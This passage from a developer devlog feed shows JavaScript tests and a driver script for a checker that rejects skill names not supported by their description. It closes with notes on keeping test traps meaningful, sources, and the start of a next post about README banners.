&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; spec&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (name) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SPEC, name });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;a name spelled out of the description passes&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;deepEqual&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;nameCoverage&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;repocount&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;repocount&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)), { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, uncovered: [] });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;a role word needs no support from the text&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;nameCoverage&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;repo-report&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;repo-report&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)).ok);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;an abbreviation passes only when its expansion is in the text&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; withGithub &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SPEC, description: SPEC.description &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos; Reads GitHub.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;nameCoverage&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;gh-count&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;withGithub, name: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;gh-count&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }).ok);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;deepEqual&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;nameCoverage&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;gh-count&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;gh-count&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)).uncovered, [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;gh&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The trap. Same spec, metaphor name.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;a metaphor is rejected, and the failure names the segment&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok, uncovered } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; nameCoverage&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;smith&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;smith&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;deepEqual&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(uncovered, [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;smith&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// This is the assertion that keeps the trap honest. Without it, the test still&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// passes the day an unrelated rule starts rejecting this spec for some other&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// reason, and it stops proving anything about names at all.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the metaphor spec fails on the name field specifically&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok, problems } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; validate&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;smith&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;deepEqual&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(problems.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((p) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; p.field), [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the same spec with a descriptive name has no problems at all&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;deepEqual&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;validate&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;repocount&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)), { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, problems: [] });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ a name spelled out of the description passes (0.584625ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ a role word needs no support from the text (0.093083ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ an abbreviation passes only when its expansion is in the text (0.057375ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ a metaphor is rejected, and the failure names the segment (0.2705ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ the metaphor spec fails on the name field specifically (0.089916ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ the same spec with a descriptive name has no problems at all (0.071042ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ tests 6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ pass 6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ fail 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Run it on real candidates&lt;/h2&gt;
&lt;p&gt;A short driver makes the check usable while you are still choosing. Save it as &lt;code&gt;check.mjs&lt;/code&gt;, importing &lt;code&gt;validate&lt;/code&gt; and looping over candidate names against one spec:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { validate } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./namecheck.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SPEC &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  summary: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Counts what a repository owes you: open pull requests, stale branches, unreleased commits.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  description: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Use when someone asks &quot;what is unreleased&quot;, &quot;how many open PRs&quot;, or wants a repository backlog count.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  oneRule: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Never report a count it did not read from the repository itself.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;smith&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tally&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;repocount&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;repo-report&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok, problems } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; validate&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SPEC, name });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;ok  &apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;FAIL&apos;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;problems&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;why&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;; &apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;FAIL smith        name: &quot;smith&quot; appears nowhere in what this says it does&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;FAIL tally        name: &quot;tally&quot; appears nowhere in what this says it does&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok   repocount    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok   repo-report&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both rejected names are real: &lt;code&gt;smith&lt;/code&gt; is what this skill shipped as, and &lt;code&gt;tally&lt;/code&gt; is what its own demo fixture was called until this release.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A trap that merely fails somewhere stops proving anything.&lt;/strong&gt; The metaphor fixture is identical to the passing one in every field except the name, and the test asserts the failing field is &lt;code&gt;name&lt;/code&gt;. Without that assertion the case still goes green after an unrelated rule starts rejecting the fixture for a different reason, and the naming check could be deleted entirely without anything turning red. Escape: when you pin a rejection, assert the rejection’s &lt;em&gt;location&lt;/em&gt;, not just its existence.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test files that a generator owns get regenerated.&lt;/strong&gt; These cases live in &lt;code&gt;naming.test.mjs&lt;/code&gt; rather than the scaffolded &lt;code&gt;baseline.test.mjs&lt;/code&gt;, because the freeze command rewrites that file from a template and would have silently taken the naming tests with it. Escape: before adding a case to a test file, check whether any tool writes that file; if one does, put the case in a sibling the generator does not own.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A checker whose rule is too generous passes everything.&lt;/strong&gt; Allowing any fragment to extend any word means a three-letter stem in the prose can spell almost any name, and the check goes quietly vacuous while still returning &lt;code&gt;ok&lt;/code&gt;. The minimum stem length exists only to stop that. Escape: whenever you loosen a matching rule to admit a legitimate case, re-run the known-bad fixture; a rule that no longer rejects it is not a rule.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enforcing a new rule on existing work breaks the work, not the rule.&lt;/strong&gt; This grades at spec time only. The skills that predate it are grandfathered, and the verify path does not re-grade a shipped name, because a name already spent on a directory, a tag prefix and a status check cannot be fixed by a linter telling you about it now. Escape: date the rule to when it landed and apply it going forward, or the first thing your new check does is fail your whole repository.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices&quot;&gt;Skill authoring best practices, Anthropic&lt;/a&gt; — name and description are what a request is matched against, and the guidance to avoid vague names&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/bliki/TwoHardThings.html&quot;&gt;Two Hard Things, Martin Fowler&lt;/a&gt; — Karlton’s line, and why naming keeps its reputation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stryker-mutator.io/docs/&quot;&gt;Stryker Mutator docs&lt;/a&gt; — why a passing test is not evidence the test checks anything&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;refactor: name three skills after the job they do, and enforce it (#156) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/0907422fb121d8b26e15cdff9c8fc0d55dffcbe0&quot;&gt;0907422&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/skillfactory/v0.3.0.png" length="33022" type="image/png"/></item><item><title>The blank line that decides whether your banner is a banner</title><link>https://natejswenson.com/devlog/press/v0.9.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.9.0/</guid><description>Generating a banner into a README looks like string concatenation until markdown reinterprets it. One missing blank line turns the whole thing into a heading, and only a rendered page would ever show you.</description><pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
